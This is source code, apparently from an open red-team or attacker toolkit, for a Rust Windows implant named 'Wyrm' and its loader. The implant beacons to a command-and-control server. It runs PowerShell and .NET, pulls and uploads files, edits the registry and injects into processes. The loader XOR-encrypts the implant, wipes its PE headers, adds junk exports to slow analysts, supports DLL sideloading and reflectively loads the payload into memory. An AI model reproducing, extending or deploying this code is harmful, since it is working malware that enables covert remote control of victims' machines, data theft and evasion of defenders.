GetSystemTimeAsFileTime(&mut ft as *mut u64 as *mut _); ((ft - 116444736000000000) / 10000000) as i64 } } ================================================ FILE: implant/src/wofs/mod.rs ================================================ use std::{mem::transmute, ptr::null}; use shared::tasks::WyrmResult; use str_crypter::{decrypt_string, sc}; include!(concat!(env!("OUT_DIR"), "/wof.rs")); /// The shape of the WOF type FfiShape = unsafe extern "C" fn(*const c_void) -> i32; fn get_wof_fn_ptr(needle: &str) -> Option<FfiShape> { let wofs = all_wofs(); for wof in wofs { if wof.0 == needle && !wof.1.is_null() { let f = unsafe { transmute::<_, FfiShape>(wof.1) }; return Some(f); } } None } pub fn call_static_wof_no_arg(fn_name: &str) -> WyrmResult<String> { let Some(f) = get_wof_fn_ptr(fn_name) else { let err = format!( "{} {fn_name}", sc!("Could not find WOF function", 175).unwrap() ); return WyrmResult::Err(err); }; unsafe { f(null()) }; let msg = sc!("WOF executed", 97).unwrap(); return WyrmResult::Ok(msg); } pub fn call_static_wof_with_arg(fn_name: &str, arg: &str) -> WyrmResult<String> { let Some(f) = get_wof_fn_ptr(fn_name) else { let err = format!( "{} {fn_name}", sc!("Could not find WOF function", 175).unwrap() ); return WyrmResult::Err(err); }; unsafe { f(arg.as_ptr() as *const _) }; let msg = sc!("WOF executed", 97).unwrap(); return WyrmResult::Ok(msg); } ================================================ FILE: implant/src/wyrm.rs ================================================ //! Wyrm represents the state and structure of the implant itself, including any functions //! on the implant. use std::{ collections::VecDeque, ffi::c_void, path::PathBuf, ptr::null_mut, sync::atomic::Ordering, }; use rand::{ Rng, SeedableRng, TryRngCore, rngs::{OsRng, SmallRng}, }; use serde::Serialize; use shared::{ net::CompletedTasks, tasks::{ Command, FirstRunData, InjectInnerForPayload, Task, WyrmResult, tasks_contains_kill_agent, }, }; use str_crypter::{decrypt_string, sc}; use windows_sys::{ Win32::{ Foundation::{CloseHandle, ERROR_ALREADY_EXISTS, FALSE, GetLastError, MAX_PATH}, NetworkManagement::NetManagement::UNLEN, Storage::FileSystem::GetVolumeInformationW, System::{ ProcessStatus::GetModuleFileNameExW, Threading::{ CreateMutexA, ExitProcess, ExitThread, GetCurrentProcess, GetCurrentProcessId, }, WindowsProgramming::{GetComputerNameW, GetUserNameW, MAX_COMPUTERNAME_LENGTH}, }, }, core::{PCWSTR, PWSTR}, }; use crate::{ comms::{comms_http_check_in, upload_file_as_stream}, entry::{APPLICATION_RUNNING, IS_IMPLANT_SVC}, execute::dotnet::execute_dotnet_current_process, native::{ accounts::{ ProcessIntegrityLevel, get_logged_in_username, get_process_integrity_level, whoami, }, filesystem::{ MoveCopyAction, PathParseType, change_directory, dir_listing, drop_file_to_disk, move_or_copy_file, pillage, pull_file, rm_from_fs, }, processes::{kill_process, running_process_details}, registry::{reg_add, reg_del, reg_query}, shell::run_powershell, }, spawn_inject::{Inject, InjectMethod, Spawn, SpawnMethod}, utils::{ comptime::translate_build_artifacts, console::print_info, proxy::resolve_web_proxy, strings::generate_mutex_name, svc_controls::stop_svc_and_exit, time_utils::epoch_now, }, wofs::call_static_wof_with_arg, }; use crate::{utils::console::print_failed, wofs::call_static_wof_no_arg}; pub struct RetriesBeforeExit { /// The time in seconds to sleep between failed connections on first connection pub failed_first_conn_sleep: u64, pub num_retries: u32, } /// `Wyrm` represents the implant itself. pub struct Wyrm { /// The unique ID of the implant used to identify itself with the C2 pub implant_id: String, /// The name assigned to the payload by the operator on creation, helps identify its type /// in the db. pub agent_name_by_operator: String, pub c2_config: C2Config, pub tasks: VecDeque<Task>, pub completed_tasks: CompletedTasks, pub current_working_directory: PathBuf, pub first_connection_retries: RetriesBeforeExit, #[allow(unused)] mutex: WyrmMutex, spawn_as: String, } /// The C2 configuration settings for the implant; there can be any number of these /// configurations, allowing for multiple C2 operations pub struct C2Config { /// (URL, proxy URL) pub url: (String, Option<String>), pub port: u16, pub api_endpoints: Vec<String>, pub sleep_seconds: u64, pub security_token: String, pub useragent: String, pub jitter: u64, } impl Wyrm { pub fn new() -> Self { // Translate and encrypt (where relevant) build artifacts into the binary through some // comptime functions let ( sleep_seconds, api_endpoints, security_token, useragent, port, url, agent_name_by_operator, jitter, mutex, spawn_as, ) = translate_build_artifacts(); let mutex = match WyrmMutex::new(&mutex) { Some(m) => m, // TODO is this safe in all circumstances for sideloading? None => unsafe { ExitThread(0) }, }; let mut implant = Self { implant_id: build_implant_id(), c2_config: C2Config { // Proxy resolved below url: (url, None), port, api_endpoints, sleep_seconds, security_token, useragent, jitter, }, tasks: VecDeque::new(), completed_tasks: vec![], // Get the current working directory in case the user wants to do some // powershell / other commands which rely on a position on the target // system. current_working_directory: { match std::env::current_dir() { Ok(d) => d, Err(_) => PathBuf::new(), } }, first_connection_retries: RetriesBeforeExit { failed_first_conn_sleep: 1, num_retries: 3, }, agent_name_by_operator, mutex, spawn_as, }; let px = implant.try_get_proxy(); implant.c2_config.url.1 = px; implant } /// Command the implant to check in with the C2, making no attempt to send data. It will receive tasks from the C2 /// and serialise them into the implants own task queue pub fn get_tasks_http(&mut self) { // Make a HTTP request to get any task(s) from the C2. // On failure, we will just return and not add any task to the queue. let tasks = match comms_http_check_in(self) { Ok(task) => task, Err(e) => { #[cfg(debug_assertions)] print_failed(format!("Error checking in with the C2. {e}")); return; } }; for task in tasks { self.tasks.push_back(task); } } pub fn dispatch_tasks(&mut self) { if self.tasks.is_empty() { return; } // Check if the task contains the KillAgent command, if so, we just // outright kill it. if tasks_contains_kill_agent(&self.tasks) { // Killing the agent currently only supports killing the whole process. // If this was injected into another process, this will kill the host. // Threading injection support to be added in the future. if IS_IMPLANT_SVC.load(Ordering::SeqCst) { stop_svc_and_exit() } unsafe { ExitProcess(0) }; } // // Main command dispatcher // while let Some(task) = self.tasks.pop_front() { match task.command { Command::Sleep => { // In the case of a sleep, its possible it will be in the task queue // as a left over artifact somewhere. If that is the case and the queue is not // empty, `continue` will continue us onto the next command to be processed, // otherwise it will end the loop, and then enter the sleep period. self.update_sleep_time(task.metadata); continue; } Command::Ps => { self.push_completed_task(&task, running_process_details()); } Command::GetUsername => { self.push_completed_task(&task, get_logged_in_username()); } Command::Pillage => { self.push_completed_task(&task, pillage()); } Command::UpdateSleepTime => { self.update_implant_sleep_time(task); } Command::Undefined => todo!(), Command::Pwd => { let cwd = self .current_working_directory .clone() .into_os_string() .into_string() .unwrap_or_default(); self.push_completed_task(&task, Some(cwd)); } Command::AgentsFirstSessionBeacon => self.conduct_first_run_recon(), Command::Cd => { let res = change_directory(self, &task.metadata); self.push_completed_task(&task, res); } Command::KillAgent => { // TODO handle KA for thread vs process exit here.. APPLICATION_RUNNING.store(false, core::sync::atomic::Ordering::SeqCst); unsafe { ExitProcess(0) }; } Command::Ls => { let res = dir_listing(&self.current_working_directory); self.push_completed_task(&task, res); } Command::Run => { let ps_output = run_powershell(&task.metadata, self); self.push_completed_task(&task, ps_output); } Command::KillProcess => self.push_completed_task(&task, kill_process(&task)), Command::Drop => { let f = drop_file_to_disk(&task.metadata, self); self.push_completed_task(&task, f) } Command::Copy => { // If the inner is Some (i.e. we sent the data from the client, then we gucci) if let Some(inner) = &task.metadata { let r = move_or_copy_file(self, inner, MoveCopyAction::Copy); self.push_completed_task(&task, r); continue; } // otherwise, complete the task but return an error self.push_completed_task( &task, Some(WyrmResult::Err::<String>("Bad request".to_string())), ); } Command::Move => { // If the inner is Some (i.e. we sent the data from the client, then we gucci) if let Some(inner) = &task.metadata { let r = move_or_copy_file(self, inner, MoveCopyAction::Move); self.push_completed_task(&task, r); continue; } // otherwise, complete the task but return an error self.push_completed_task( &task, Some(WyrmResult::Err::<String>("Bad request".to_string())), ); } Command::RmFile => { if let Some(inner) = &task.metadata { let r = rm_from_fs(self, inner, PathParseType::File); self.push_completed_task(&task, r); continue; } else { self.push_completed_task( &task, Some(WyrmResult::Err::<String>("Bad request".to_string())), ); } } Command::RmDir => { if let Some(inner) = &task.metadata { let r = rm_from_fs(self, inner, PathParseType::Directory); self.push_completed_task(&task, r); continue; } else { self.push_completed_task( &task, Some(WyrmResult::Err::<String>("Bad request".to_string())), ); } } Command::Pull => { if let Some(file_path) = &task.metadata { match pull_file(&file_path, &self.current_working_directory) { WyrmResult::Ok(res) => { // Here we have the happy return path from the function which contains the // bytes serialised as a string, we just need to pass the result into the // completed task queue upload_file_as_stream(&self, &res); self.push_completed_task(&task, Some(res)); } WyrmResult::Err(e) => { self.push_completed_task(&task, Some(e)); } } } else { // We didn't receive the metadata, so return a bad request message self.push_completed_task( &task, Some(WyrmResult::Err::<String>("Bad request.".into())), ); } } Command::RegQuery => { let result = reg_query(&task.metadata); self.push_completed_task(&task, result); } Command::RegAdd => { let result = reg_add(&task.metadata); self.push_completed_task(&task, result); } Command::RegDelete => { let result = reg_del(&task.metadata); self.push_completed_task(&task, result); } Command::DotEx => { let result = Some(execute_dotnet_current_process(&task.metadata)); self.push_completed_task(&task, result); } Command::ConsoleMessages => (), Command::WhoAmI => { let result = whoami(); self.push_completed_task(&task, result); } Command::Spawn => { let Ok(buf) = serde_json::from_str::<Vec<u8>>(task.metadata.as_ref().unwrap()) else { let msg = sc!("Failed to deserialise buffer for spawn", 97).unwrap(); print_failed(msg); self.push_completed_task::<String>(&task, None); continue; }; Spawn::spawn_child(buf, SpawnMethod::EarlyCascade, &self.spawn_as); } Command::StaticWof => { let Some(metadata) = &task.metadata else { let msg = sc!("No metadata found.", 97).unwrap(); print_failed(msg); self.push_completed_task::<String>(&task, None); continue; }; let Ok(metadata_deser) = serde_json::from_str::<Vec<String>>(metadata) else { let msg = sc!("Could not deserialise metadata for running the WOF.", 97).unwrap(); print_failed(msg); self.push_completed_task::<String>(&task, None); continue; }; let result = if metadata_deser.len() == 1 { call_static_wof_no_arg(&metadata_deser[0]) } else { call_static_wof_with_arg(&metadata_deser[0], &metadata_deser[1]) }; self.push_completed_task(&task, Some(result)); } Command::Inject => { let Some(Ok(metadata)) = task.deserialise_metadata::<InjectInnerForPayload>() else { let msg = sc!("Could not parse metadata for inject.", 97).unwrap(); print_failed(&msg); self.push_completed_task::<WyrmResult<String>>( &task, Some(WyrmResult::Err(msg)), ); continue; }; let result = Inject::inject_wyrm( &metadata.payload_bytes, InjectMethod::Virgin, metadata.pid, ); self.push_completed_task(&task, Some(result)); } } } } /// Updates the sleep time on the agent. fn update_sleep_time(&mut self, time_as_string: Option<String>) { let time: u64 = match time_as_string { Some(time_string) => match time_string.parse() { Ok(t) => t, Err(e) => { #[cfg(debug_assertions)] print_failed(format!("Could not deserialise sleep time to u64: {e}")); return; } }, None => return, }; // At the moment we are only using 1 C2 configuration; hence indexing at zero, but in the future // it is planned to allow multiple C2 configurations to be made on the implant. self.c2_config.sleep_seconds = time; // print_info(format!("Sleep set to {time}")); } /// Pushes a completed task to the queue of tasks which have been completed between c2 connections. /// In the event that a task completed unsuccessfully and returned `None`, this function will return /// allowing execution to continue from where it was called. /// /// Otherwise, it will push the task to the completion queue pending upload. /// /// This function will serialise the T to a valid `Json String` via `serde_json`. /// /// # Args /// - `task`: The [`Task`] which is being completed, /// - `data`: An `Option` where the `T` must implement `Serialize`. This will be encoded ready for c2 /// communications /// - `implant`: A mutable reference to the implant so that the completed task queue can be modified. /// /// # Edge case /// In the event the function cannot serialise the data, it will return and nothing will be pushed to the /// queue, possibly resulting in silent failures. A debug print is made in this case, so can be caught /// when running in debug mode. /// /// This shouldn't happen, as `T: Serialize`. pub fn push_completed_task<T>(&mut self, task: &Task, data: Option<T>) where T: Serialize, { let id_bytes = task.id.to_le_bytes(); let low = u16::from_le_bytes([id_bytes[0], id_bytes[1]]); let high = u16::from_le_bytes([id_bytes[2], id_bytes[3]]); let mut packet = vec![low, high]; let (low, high) = task.command.to_u16_tuple_le(); packet.push(low); packet.push(high); // // Finally serialise the completed time; theres probably a better way to write this.. // let completed_time_bytes = epoch_now().to_le_bytes(); let sec_1 = u16::from_le_bytes([completed_time_bytes[0], completed_time_bytes[1]]); let sec_2 = u16::from_le_bytes([completed_time_bytes[2], completed_time_bytes[3]]); let sec_3 = u16::from_le_bytes([completed_time_bytes[4], completed_time_bytes[5]]); let sec_4 = u16::from_le_bytes([completed_time_bytes[6], completed_time_bytes[7]]); packet.push(sec_1); packet.push(sec_2); packet.push(sec_3); packet.push(sec_4); // // Write the data into the packet if it exists // if let Some(d) = &data { let data = match serde_json::to_string(&d) { Ok(inner) => inner, Err(e) => { #[cfg(debug_assertions)] println!( "[-] Error serialising data to be pushed to the completed task queue. {e}" ); return; } }; let mut data_bytes: Vec<u16> = data.encode_utf16().collect(); packet.append(&mut data_bytes); } self.completed_tasks.push(packet); } /// Update the implant sleep time across **all** C2 configurations stored in the implant fn update_implant_sleep_time(&mut self, task: Task) { let new_sleep_time = match task.metadata { Some(time_as_string) => match time_as_string.parse::<u64>() { Ok(parsed) => parsed, Err(e) => { #[cfg(debug_assertions)] println!("[-] Error parsing new sleep time. {e}"); return; } }, None => return, } as u64; self.c2_config.sleep_seconds = new_sleep_time; } pub fn conduct_first_run_recon(&mut self) { // // Get the additional metadata we want to send up to the C2 // let pid: u32 = unsafe { GetCurrentProcessId() }; let process_name = unsafe { let handle = GetCurrentProcess(); // NOTE: This is mutable in the Win fn let buf = [0u16; MAX_PATH as _]; let len = GetModuleFileNameExW( handle, null_mut(), PWSTR::from(buf.as_ptr() as *mut _), buf.len() as u32, ); // In the event of an error, we will just send "unknown" to the server if len == 0 { #[cfg(debug_assertions)] print_failed(format!( "Failed to get module file name. Last error: {}", GetLastError() )); sc!("unknown", 178).unwrap() } else { String::from_utf16_lossy(&buf) } }; let first_run = FirstRunData { a: self.current_working_directory.clone(), b: pid, c: process_name, d: self.agent_name_by_operator.clone(), e: self.c2_config.sleep_seconds, }; let task = Task::from(0, Command::AgentsFirstSessionBeacon, None); self.push_completed_task(&task, Some(first_run)); } pub fn try_get_proxy(&self) -> Option<String> { if let Some(s) = resolve_web_proxy(&self).unwrap_or_default() { s.proxy_url } else { None } } } /// Builds the implant ID, in the form: serial_hostname_username. The serial number associated with the /// ID is that of the HDD/SSD so should create a unique fingerprint for each target. fn build_implant_id() -> String { // get the serial of the drive let mut buf: u32 = 0; let serial = if unsafe { GetVolumeInformationW( PCWSTR::from(null_mut()), PWSTR::from(null_mut()), 0, &mut buf, null_mut(), null_mut(), PWSTR::from(null_mut()), 0, ) } != 0 { format!("{buf}") } else { sc!("no_serial", 176).unwrap() }; let hostname = get_hostname(); let username = { // Note: This buffer is not marked mut, but will be mutated through a raw pointer. // We set the length of the buffer via an input len param below. let buf = [0u16; UNLEN as usize]; let mut len: u32 = UNLEN; let result = unsafe { GetUserNameW(PWSTR::from(buf.as_ptr() as *mut _), &mut len) }; if result == 0 || len == 0 { sc!("UNKNOWN", 56).unwrap() } else { String::from_utf16_lossy(&buf[0..len as usize - 1]) } }; let integrity = get_process_integrity_level().unwrap_or(ProcessIntegrityLevel::Unknown); let pid = unsafe { GetCurrentProcessId() }; let epoch_time = epoch_now(); format!("{hostname}|{serial}|{username}|{integrity}|{pid}|{epoch_time}") } pub fn get_hostname() -> String { const LEN: usize = MAX_COMPUTERNAME_LENGTH as usize + 1; let mut buf = vec![0; LEN]; let mut size: u32 = LEN as u32; if unsafe { GetComputerNameW(PWSTR::from(buf.as_mut_ptr()), &mut size) } != 0 { let slice = &buf[..size as usize]; String::from_utf16_lossy(slice) } else { sc!("err_username", 104).unwrap() } } pub fn calculate_sleep_seconds(wyrm: &Wyrm) -> u64 { // If no jitter set, or is 0 - sleep normal amount if wyrm.c2_config.jitter == 0 { return wyrm.c2_config.sleep_seconds; } // Validate jitter percentage is in bounds if wyrm.c2_config.jitter > 100 || wyrm.c2_config.jitter < 1 { #[cfg(debug_assertions)] print_failed(&format!("Invalid jitter %. Got: {}", wyrm.c2_config.jitter)); return wyrm.c2_config.sleep_seconds; } let base = wyrm.c2_config.sleep_seconds; let jit_percent = wyrm.c2_config.jitter; // Calculate the minimum sleep from the jitter percentage // Use checked mul to make sure we don't overflow, if we do, just sleep the // fixed amount set on the agent. let min_sleep = match base.checked_mul(100 - jit_percent) { Some(m) => m / 100, None => { #[cfg(debug_assertions)] print_failed(&format!( "Int overflow in mul calculating jitter. Base was: {base}" )); return wyrm.c2_config.sleep_seconds; } }; let mut seed = [0u8; 32]; if let Ok(_) = OsRng.try_fill_bytes(&mut seed) { let mut rng = SmallRng::from_seed(seed); rng.random_range(min_sleep..wyrm.c2_config.sleep_seconds) } else { 1 } } struct WyrmMutex { handle: *mut c_void, } impl WyrmMutex { /// Constructs a new [`WyrmMutex`] setting the inner handle if we were successful. /// /// # Returns /// - If the mutex was already set the function will return `None` /// - If the user has not specified a mutex, the function will return `Some(null)` /// - If the user HAS specified a mutex, and the mutex was created successfully, it will return `Some(handle)` /// /// The implication being; a FAIL path will be `None`. fn new(mtx_name: &str) -> Option<Self> { if mtx_name.is_empty() { return Some(Self { handle: null_mut() }); } // Start off setting this explicitly to null, we can then add a value to it if we successfully create the // mutex. let mut mtx_name = generate_mutex_name(mtx_name); let handle = unsafe { CreateMutexA(null_mut(), FALSE, mtx_name.as_ptr() as *const u8) }; let last_error = unsafe { GetLastError() }; let wyrm_mutex = Self { handle }; // // Check whether the mutex already exists on the system // if last_error == ERROR_ALREADY_EXISTS { #[cfg(debug_assertions)] { print_failed("Mutex already exists"); } return None; } // Error check if handle.is_null() { #[cfg(debug_assertions)] { print_failed(format!( "Failed to generate mutex with CreateMutexA. Last error: {last_error:#X}", )); } return Some(wyrm_mutex); } #[cfg(debug_assertions)] { use std::ffi::CStr; use crate::utils::console::print_success; let s = match CStr::from_bytes_until_nul(&mtx_name) { Ok(s) => s, Err(_) => unsafe { CStr::from_ptr("Could not parse\0".as_ptr() as _) }, }; print_success(format!("Mutex {:?} registered.", s)); } Some(wyrm_mutex) } } impl Drop for WyrmMutex { fn drop(&mut self) { if !self.handle.is_null() { unsafe { let _ = CloseHandle(self.handle); } } } } ================================================ FILE: loader/.cargo/config.toml ================================================ [target.x86_64-pc-windows-msvc] rustflags = [ "-Z", "location-detail=none", "-C", "panic=abort", "-C", "target-feature=+crt-static", "-C", "link-arg=/MERGE:.rdata=.text", "-C", "link-arg=/MERGE:.pdata=.text", ] ================================================ FILE: loader/Cargo.toml ================================================ [package] name = "loader" version = "0.1.0" edition = "2024" build = "build.rs" [profile.release] opt-level = "z" lto = "fat" strip = "symbols" debug = 0 split-debuginfo = "off" panic ="abort" [[bin]] name = "loader" path = "src/main.rs" [[bin]] name = "loader_svc" path = "src/main_svc.rs" [lib] name = "loader" path = "src/lib.rs" crate-type = ["cdylib"] [features] sandbox_trig = [] sandbox_mem = [] patch_etw = [] [dependencies] windows-sys = {version = "0.61", features = [ "Win32", "Win32_Foundation", "Win32_System_SystemServices", "Win32_System_Diagnostics_Debug", "Win32_System_SystemInformation", "Win32_System_Memory", "Win32_System_LibraryLoader", "Win32_System_Threading", "Win32_System_WindowsProgramming", "Win32_System_Services", "Win32_Security", "Win32_UI_WindowsAndMessaging", "Win32_Storage_FileSystem", ]} ================================================ FILE: loader/build.rs ================================================ use std::{ env, fmt::Write, fs::{self, File}, io::Read, path::{Path, PathBuf}, }; const ENCRYPTION_KEY: u8 = 0x90; fn main() { let envs = &[ "EXPORTS_JMP_WYRM", "EXPORTS_USR_MACHINE_CODE", "EXPORTS_PROXY", "SVC_NAME", "DLL_PATH", "MUTEX", ]; for key in envs { println!("cargo:rerun-if-env-changed={key}"); } for var in envs { if let Ok(val) = env::var(var) { println!("cargo:rustc-env={var}={val}"); } } prepare_wyrm_dll(); write_exports_to_build_dir(); } /// Reads and encrypts the post-ex Wyrm DLL fn prepare_wyrm_dll() { let buf = if let Some(path) = option_env!("DLL_PATH") { let path = PathBuf::from(path); let mut f = File::open(path).unwrap(); let mut buf = Vec::with_capacity(f.metadata().unwrap().len() as usize); f.read_to_end(&mut buf).unwrap(); // overwrite the MZ header but keeping the e_lfanew const MAX_OVERWRITE_END: usize = 50; buf[0..MAX_OVERWRITE_END].fill(0); // overwrite the THIS PROGRAM CANNOT BE RUN IN DOS MODE... const RANGE_START: usize = 0x4E; const RANGE_END: usize = 0x73; buf[RANGE_START..RANGE_END].fill(0); // // Encrypt using a NOP opcode, given their frequency in a PE this feels like a good // choice // for b in buf.iter_mut() { *b ^= ENCRYPTION_KEY; } buf } else { vec![] }; let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); // TODO take the test path profile name and append let dest_path = Path::new(&out_dir).join("rdll_encrypted.bin"); fs::write(dest_path, buf).unwrap(); } /// Writes exported symbols to the binary, whether genuine exports or proxied ones. fn write_exports_to_build_dir() { let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); let dest = out_dir.join("custom_exports.rs"); let mut code = String::new(); let exports_usr_machine_code = env::var("EXPORTS_USR_MACHINE_CODE").ok(); let exports_proxy = env::var("EXPORTS_PROXY").ok(); let exports_jmp_wyrm = env::var("EXPORTS_JMP_WYRM").ok(); if let Some(export_str) = exports_jmp_wyrm { if export_str.is_empty() { // If there was no custom export defined, then we just export the 'run' extern writeln!(&mut code, "build_dll_export_by_name_start_wyrm!(run);",).unwrap(); } for fn_name in export_str.split(';').filter(|s| !s.trim().is_empty()) { writeln!( &mut code, "build_dll_export_by_name_start_wyrm!({fn_name});", ) .unwrap(); } } else { // Just in case.. we still need an entrypoint, tho this should never run writeln!(&mut code, "build_dll_export_by_name_start_wyrm!(run);",).unwrap(); } if let Some(export_str) = exports_usr_machine_code { for item in export_str.split(';').filter(|s| !s.trim().is_empty()) { let mut parts = item.split('='); let name = parts.next().unwrap().trim(); let bytes = parts.next().unwrap_or("").trim(); assert!(!name.is_empty()); assert!(!bytes.is_empty()); writeln!( &mut code, "build_dll_export_by_name_junk_machine_code!({name}, {bytes});", ) .unwrap(); } } if let Some(exports) = exports_proxy { for item in exports .split(';') .map(|s| s.trim()) .filter(|s| !s.is_empty() && s.is_ascii()) { println!("cargo:rustc-link-arg=/export:{item}"); } } fs::write(dest, code).unwrap(); } ================================================ FILE: loader/src/export_comptime.rs ================================================ //! A module for creating either fake exports full of junk, or exports which //! lead to the running of the agent, customisable via profiles - thanks to the //! magic of macros. //! //! This module would be used for two main reasons: //! //! 1) Obfuscation: If you wish to obfuscate the binary by enforcing a number of random //! exports which take analyst time up to review, then you may wish to add a number of //! junk export functions. //! //! 2) Custom entrypoint: If you wish a custom entrypoint which is not `run`, this will //! allow you to define that - and it will come in handy for custom DLL sideloading. // use core::arch::naked_asm; use core::ffi::c_void; use core::sync::atomic::{AtomicBool, Ordering}; use core::{mem::transmute, ptr::null_mut}; use windows_sys::Win32::Foundation::{CloseHandle, FALSE, HINSTANCE}; use windows_sys::Win32::Storage::FileSystem::SYNCHRONIZE; use windows_sys::Win32::System::SystemServices::DLL_PROCESS_ATTACH; use windows_sys::Win32::System::Threading::{CreateThread, LPTHREAD_START_ROUTINE, Sleep}; use windows_sys::Win32::System::WindowsProgramming::OpenMutexA; use crate::injector::inject_current_process; use crate::utils::generate_mutex_name; pub static APPLICATION_RUNNING: AtomicBool = AtomicBool::new(false); pub fn internal_dll_start(start_type: StartType) { match start_type { StartType::DllMain => start_in_os_thread_mutex_check(), StartType::FromExport => { if !APPLICATION_RUNNING.load(Ordering::SeqCst) { start_in_os_thread_no_mutex_check(); } loop { unsafe { Sleep(1000) }; } } } } fn start_in_os_thread_no_mutex_check() { unsafe { let start = transmute::<LPTHREAD_START_ROUTINE, LPTHREAD_START_ROUTINE>(Some(runpoline)); let handle = CreateThread(null_mut(), 0, start, null_mut(), 0, null_mut()); if !handle.is_null() { APPLICATION_RUNNING.store(true, Ordering::SeqCst); } } } fn start_in_os_thread_mutex_check() { // If the mutex already exists we dont want to continue setting up Wyrm so just return out the DllMain if check_mutex().is_some() { return; } start_in_os_thread_no_mutex_check(); } unsafe extern "system" fn runpoline(_p1: *mut c_void) -> u32 { inject_current_process(); 0 } #[allow(dead_code)] pub enum StartType { DllMain, FromExport, } /// Returns `Some(())` if the mutex exists on the system fn check_mutex() -> Option<()> { let mutex: &str = option_env!("MUTEX").unwrap_or_default(); if mutex.is_empty() { return None; } let mtx_name = generate_mutex_name(mutex); let existing_handle = unsafe { OpenMutexA(SYNCHRONIZE, FALSE, mtx_name.as_ptr() as *const u8) }; if !existing_handle.is_null() { unsafe { CloseHandle(existing_handle) }; return Some(()); } None } macro_rules! build_dll_export_by_name_start_wyrm { ($name:ident) => { #[unsafe(no_mangle)] unsafe extern "system" fn $name() { internal_dll_start(StartType::FromExport); } }; } macro_rules! build_dll_export_by_name_junk_machine_code { ($name:ident, $($b:expr),+ $(,)?) => { #[unsafe(no_mangle)] #[unsafe(naked)] unsafe extern "system" fn $name() { naked_asm!( $( concat!(".byte ", stringify!($b)), )+ ) } }; } include!(concat!(env!("OUT_DIR"), "/custom_exports.rs")); ================================================ FILE: loader/src/injector.rs ================================================ use core::{ ffi::{CStr, c_void}, mem::transmute, ptr::{copy_nonoverlapping, null_mut, read_unaligned}, }; use windows_sys::Win32::System::{ Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER}, Memory::{ MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, VirtualAlloc, VirtualProtect, }, SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY}, }; const DLL_BYTES: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/rdll_encrypted.bin")); const ENCRYPTION_KEY: u8 = 0x90; /// Inject the rDLL into our **current** process pub fn inject_current_process() { unsafe { // // Allocate the encrypted PE and decrypt in place // let p_decrypt = VirtualAlloc( null_mut(), DLL_BYTES.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if p_decrypt.is_null() { return; } // Copy the bytes into it copy_nonoverlapping(DLL_BYTES.as_ptr(), p_decrypt as _, DLL_BYTES.len()); // Decrypt the memory for i in 0..DLL_BYTES.len() as usize { let b = (p_decrypt as *mut u8).add(i); *b ^= ENCRYPTION_KEY; } // // Now operate on the decrypted PE // let dos = read_unaligned(p_decrypt as *const IMAGE_DOS_HEADER); let mapped_nt_ptr = (p_decrypt as usize + dos.e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; // // Find the 'Load' export and call the reflective loader (which exists in `Load``) // if let Some(load_fn) = find_export_address(p_decrypt as _, mapped_nt_ptr, "Load") { let mut old_protect = 0; let _ = VirtualProtect( p_decrypt, DLL_BYTES.len(), PAGE_EXECUTE_READWRITE, &mut old_protect, ); let reflective_load: unsafe extern "system" fn(*mut c_void) -> u32 = transmute(load_fn); // Call the export and hope for the best! :D reflective_load(p_decrypt); } } } #[inline(always)] fn find_export_address( file_base: *mut u8, nt: *mut IMAGE_NT_HEADERS64, name: &str, ) -> Option<unsafe extern "system" fn()> { unsafe { let dir = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]; if dir.VirtualAddress == 0 || dir.Size == 0 { return None; } let exp_dir: *mut IMAGE_EXPORT_DIRECTORY = rva_from_file(file_base, nt, dir.VirtualAddress); if exp_dir.is_null() { return None; } let exp = read_unaligned(exp_dir); let names: *const u32 = rva_from_file(file_base, nt, exp.AddressOfNames); let funcs: *const u32 = rva_from_file(file_base, nt, exp.AddressOfFunctions); let ords: *const u16 = rva_from_file(file_base, nt, exp.AddressOfNameOrdinals); if names.is_null() || funcs.is_null() || ords.is_null() { return None; } for i in 0..exp.NumberOfNames { let name_rva = read_unaligned(names.add(i as usize)); let name_ptr = rva_from_file::<u8>(file_base, nt, name_rva); if name_ptr.is_null() { continue; } let export_name = CStr::from_ptr(name_ptr as *const i8).to_str().ok(); if export_name == Some(name) { let ord_index = read_unaligned(ords.add(i as usize)) as usize; let func_rva = read_unaligned(funcs.add(ord_index)) as u32; let func_ptr = rva_from_file::<u8>(file_base, nt, func_rva) as usize; return Some(transmute::<usize, unsafe extern "system" fn()>(func_ptr)); } } None } } /// Convert an RVA from the PE into a pointer inside a buffer which came from a file - NOT correctly mapped / relocated memory. unsafe fn rva_from_file<T>( file_base: *const u8, nt: *const IMAGE_NT_HEADERS64, rva: u32, ) -> *mut T { let num_sections = unsafe { *nt }.FileHeader.NumberOfSections as usize; let first_section = unsafe { (nt as *const u8).add(size_of::<IMAGE_NT_HEADERS64>()) } as *const IMAGE_SECTION_HEADER; for i in 0..num_sections { let sec = unsafe { &*first_section.add(i) }; let va = sec.VirtualAddress; let raw = sec.PointerToRawData; let size = if sec.SizeOfRawData != 0 { sec.SizeOfRawData } else { unsafe { sec.Misc.VirtualSize } }; if rva >= va && rva < va + size { let delta = rva - va; let file_off = raw + delta; return unsafe { file_base.add(file_off as usize) } as *mut T; } } null_mut() } ================================================ FILE: loader/src/lib.rs ================================================ #![no_std] #![no_main] use windows_sys::Win32::{Foundation::HINSTANCE, System::SystemServices::DLL_PROCESS_ATTACH}; use crate::export_comptime::{StartType, internal_dll_start}; mod export_comptime; mod injector; mod utils; #[cfg_attr(not(test), panic_handler)] #[allow(unused)] fn panic(_info: &core::panic::PanicInfo) -> ! { loop {} } #[unsafe(no_mangle)] #[allow(non_snake_case)] unsafe extern "system" fn DllMain(_hmod_instance: HINSTANCE, dw_reason: u32, _: usize) -> i32 { match dw_reason { DLL_PROCESS_ATTACH => internal_dll_start(StartType::DllMain), _ => (), } 1 } ================================================ FILE: loader/src/main.rs ================================================ #![no_std] #![no_main] use crate::injector::inject_current_process; mod injector; mod utils; #[cfg_attr(not(test), panic_handler)] #[allow(unused)] fn panic(_info: &core::panic::PanicInfo) -> ! { loop {} } #[unsafe(no_mangle)] pub extern "C" fn main() -> i32 { inject_current_process(); 0 } 